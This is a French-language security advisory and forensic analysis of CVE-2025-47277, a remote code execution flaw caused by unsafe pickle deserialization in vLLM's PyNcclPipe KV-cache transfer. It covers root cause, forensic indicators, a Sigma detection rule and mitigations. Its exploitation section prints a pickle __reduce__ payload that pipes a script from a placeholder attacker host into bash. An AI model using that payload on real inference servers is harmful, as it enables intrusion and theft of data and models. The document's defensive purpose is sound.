Aller au contenu

CVE-2025-47277 : exécution de code à distance dans le transfert de KV-cache PyNcclPipe de vLLM

1. Contexte architectural : inférence distribuée et transfert de KV-cache

Section intitulée « 1. Contexte architectural : inférence distribuée et transfert de KV-cache »

Les moteurs d’inférence de modèles de langage (LLM) à haut débit reposent sur une gestion rigoureuse de la mémoire vidéo. Comme documenté dans notre étude de référence sur la Forensique de la mémoire GPU et du cache KV, la génération autorégressive impose de calculer et de conserver en mémoire les tenseurs d’attention intermédiaires pour chaque jeton (token) de contexte.

Pour optimiser le débit et réduire la latence dans les environnements de production, vLLM intègre une architecture de désagrégation Prefill et Decode (P/D Disaggregation) :

  • Nœuds prefill : Nœuds limités par le calcul (compute-bound) qui ingèrent l’invite initiale et calculent les premiers tenseurs d’attention.
  • Nœuds decode : Nœuds limités par la bande passante mémoire (memory-bound) qui génèrent les jetons suivants de façon autorégressive.
[Invite Client] ──> [Nœud Prefill (GPU 0-7)]
│
│ Transfert du KV-Cache (PyNcclPipe / TCPStore)
▼ [CVE-2025-47277 Désérialisation Non Sécurisée]
[Nœud Decode (GPU 0-7)] ──> [Réponse en Continu]

Pour transférer des gigaoctets de tenseurs d’attention directement entre nœuds sans transiter par le disque ou des API REST lentes, vLLM a implémenté le composant PyNcclPipe. Ce composant s’appuie sur la bibliothèque NCCL (NVIDIA Collective Communications Library) et le démon distribué TCPStore de PyTorch pour synchroniser les métadonnées de mémoire et les descripteurs de tenseurs à travers le réseau.

2. Analyse de la cause racine : désérialisation non sécurisée (CWE-502)

Section intitulée « 2. Analyse de la cause racine : désérialisation non sécurisée (CWE-502) »

La vulnérabilité découle de la conjonction de deux faiblesses d’architecture : un mécanisme de sérialisation intrinsèquement non hermétique et une écoute réseau excessivement permissive.

A. La primitive de désérialisation (pickle.loads)

Section intitulée « A. La primitive de désérialisation (pickle.loads) »

Dans le fichier vllm/distributed/kv_transfer/kv_pipe/pynccl_pipe.py, la classe PyNcclPipe pilote les échanges point-à-point entre rangs de calcul. Lors de la phase de négociation de flux, les métadonnées décrivant la géométrie et l’emplacement des tenseurs sont transmises sur le socket réseau.

Le code utilisait directement le module standard pickle de Python pour désérialiser ces flux :

# Schéma du code vulnérable dans pynccl_pipe.py
def receive_tensor_metadata(self, sock):
raw_data = self._recv_bytes(sock)
# FAILLE CRITIQUE : Désérialisation directe d'un flux réseau non authentifié
metadata = pickle.loads(raw_data)
return metadata

Le format pickle repose sur une machine à pile capable d’exécuter des instructions complexes. En définissant la méthode magique __reduce__, un objet sérialisé peut spécifier une fonction appelable quelconque (comme os.system ou subprocess.Popen) accompagnée d’arguments arbitraires, exécutés automatiquement dès l’appel à pickle.loads().

B. Écoute réseau globale sur toutes les interfaces (0.0.0.0)

Section intitulée « B. Écoute réseau globale sur toutes les interfaces (0.0.0.0) »

Les environnements de calcul distribué supposent traditionnellement que les communications internes s’effectuent sur un réseau privé isolé et digne de confiance (comme un VLAN InfiniBand ou un VPC dédié).

Néanmoins, la configuration du TCPStore de PyTorch utilisé par PyNcclPipe liait par défaut le socket d’écoute à 0.0.0.0 (toutes les interfaces IPv4 disponibles), au lieu de se restreindre à l’interface de bouclage locale (127.0.0.1) ou à une adresse de sous-réseau interne explicitement configurée.

Par conséquent, dès lors qu’un nœud de calcul ou un conteneur Kubernetes disposait d’une adresse IP publique ou était accessible depuis un réseau d’entreprise partagé, le service acceptait des connexions TCP entrantes non filtrées.

3. Mécanique d’exploitation et chaîne d’attaque

Section intitulée « 3. Mécanique d’exploitation et chaîne d’attaque »

En l’absence de vérification cryptographique (TLS mutuel, jeton d’authentification ou signature HMAC), l’exploitation de la faille est triviale et entièrement automatisable.

  1. Reconnaissance réseau : l’attaquant effectue un balayage des ports TCP élevés généralement attribués au TCPStore de PyTorch et aux workers vLLM (par défaut autour des ports 29500-29550 ou plages dynamiques).
  2. Fabrication de la charge utile : l’attaquant forge une séquence d’octets exploitant le crochet __reduce__ pour déployer un shell interactif ou extraire des données :
    import pickle
    import os
    class Exploit:
    def __reduce__(self):
    return (os.system, ("curl -s http://c2.attacker.com/agent.sh | bash",))
    payload = pickle.dumps(Exploit())
  3. Injection via socket brut : l’attaquant ouvre une connexion TCP directe vers le port d’écoute du serveur vLLM et transmet le flux d’octets empaqueté selon le format attendu par le protocole.
  4. Exécution de code : le serveur lit le tampon, l’achemine à pickle.loads(), déclenchant immédiatement l’exécution de la commande système dans le contexte du processus hôte.

Périmètre d’impact et gravité opérationnelle

Section intitulée « Périmètre d’impact et gravité opérationnelle »

Comme exposé dans nos travaux sur la Sécurité au runtime pour les agents IA et l’architecture de l’injection d’outils, compromettre un serveur d’inférence confère des privilèges bien supérieurs à ceux d’un serveur web traditionnel :

  • Accès direct à la VRAM GPU : le processus vLLM interagit directement avec les périphériques matériels (/dev/nvidia*, /dev/kfd). L’attaquant peut dumper les pages mémoire du cache KV, interceptant les requêtes confidentielles des utilisateurs et les données d’entreprise non anonymisées.
  • Pillage de modèles propriétaires : l’attaquant accède au système de fichiers (/models/, montages NFS ou S3), lui permettant d’exfiltrer les poids de modèles propriétaires issus de processus de fine-tuning coûteux.
  • Rebond et évasion de conteneur : pour garantir les débits de calcul, les conteneurs vLLM sous Kubernetes sont couramment configurés avec hostNetwork: true et des capacités système étendues (IPC_LOCK, SYS_PTRACE). La prise de contrôle du processus vLLM entraîne souvent la compromission directe du nœud physique hôte.

4. Investigation forensique et télémétrie d’incident

Section intitulée « 4. Investigation forensique et télémétrie d’incident »

Les analystes DFIR intervenant sur un cluster d’inférence suspect doivent investiguer les plans télémétriques suivants :

  • Connexions entrantes illégitimes : surveiller les connexions TCP vers les ports de coordination d’inférence en provenance d’adresses IP extérieures aux plages CIDR des nœuds de calcul.
  • Signatures d’opcodes pickle : analyser les segments TCP à la recherche des en-têtes magiques de flux Python pickle :
    • Protocoles 2 à 5 : \x80\x02, \x80\x03, \x80\x04, \x80\x05.
    • Résolutions de modules suspects : cposix\nsystem, csubprocess\nPopen, cos\nsystem.

B. Anomalies de la lignée de processus sous Linux

Section intitulée « B. Anomalies de la lignée de processus sous Linux »

En régime nominal, le processus parent vLLM (python -m vllm.entrypoints...) ne doit engendrer que des threads de calcul CUDA/NCCL ou des sous-processus de calcul internes.

Rechercher impérativement des processus enfants anormaux, selon les méthodologies présentées dans l’analyse de la lignée de processus et l’analyse des processus et de la mémoire sous Linux :

  • python3 (vllm) → /bin/sh
  • python3 (vllm) → /bin/bash
  • python3 (vllm) → curl, wget, nc, socat
  • python3 (vllm) → chmod +x

C. Détection de staging et exfiltration de fichiers

Section intitulée « C. Détection de staging et exfiltration de fichiers »

Les attaquants déposent généralement des scripts ou extraient des blocs de mémoire vers des dossiers temporaires inscriptibles (/tmp, /dev/shm, /var/tmp), comme documenté dans Exfiltration et staging de données sous Linux.

title: Processus shell suspect engendré par un worker vLLM (CVE-2025-47277)
id: 7f8a1290-3b4c-4e11-9a72-b9e4a5254727
status: production
description: Détecte l'apparition d'un shell interactif ou d'un utilitaire de téléchargement exécuté par le processus vLLM, signalant l'exploitation de la CVE-2025-47277.
references:
- https://github.com/vllm-project/vllm/security/advisories/GHSA-hjq4-87xh-g4fv
- https://nvd.nist.gov/vuln/detail/CVE-2025-47277
author: Hermes Codex DFIR Lab
date: 2026-09-06
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'vllm'
- 'vllm.entrypoints'
- 'RayWorker'
selection_children:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
- '/usr/bin/ncat'
- '/usr/bin/socat'
condition: selection_parent and selection_children
falsepositives:
- Scripts d'orchestration internes légitimes invoqués lors du déploiement (à documenter dans les exclusions du SIEM).
level: critical
tags:
- attack.execution
- attack.t1059.004
- attack.t1203
- cve.2025.47277

6. Feuille de route d’atténuation et de durcissement

Section intitulée « 6. Feuille de route d’atténuation et de durcissement »

Déployer sans délai vLLM version 0.8.5 ou supérieure. Le correctif officiel :

  1. Supprime la liaison aveugle à 0.0.0.0 et contraint l’initialisation du socket TCPStore à l’interface réseau privée expressément configurée.
  2. Renforce les barrières de validation des interfaces d’échange de tenseurs.

B. Durcissement architectural et segmentation réseau

Section intitulée « B. Durcissement architectural et segmentation réseau »

Lorsque la mise à jour logicielle immédiate est différée par des impératifs de validation :

Politiques réseau Kubernetes (NetworkPolicies)

Appliquer des NetworkPolicies strictes interdisant l’accès aux ports d’interconnexion (ex: 29500-29550) depuis l’extérieur du namespace vLLM.

Forçage de l'interface d'écoute

Définir les variables d’environnement réseau (VLLM_HOST_IP, NCCL_SOCKET_IFNAME) sur l’IP interne privée du nœud pour empêcher l’exposition sur les cartes réseau publiques.

Suppression de hostNetwork

Bannir la directive hostNetwork: true dans les manifestes de déploiement afin de confiner le processus dans son espace de noms réseau (network namespace).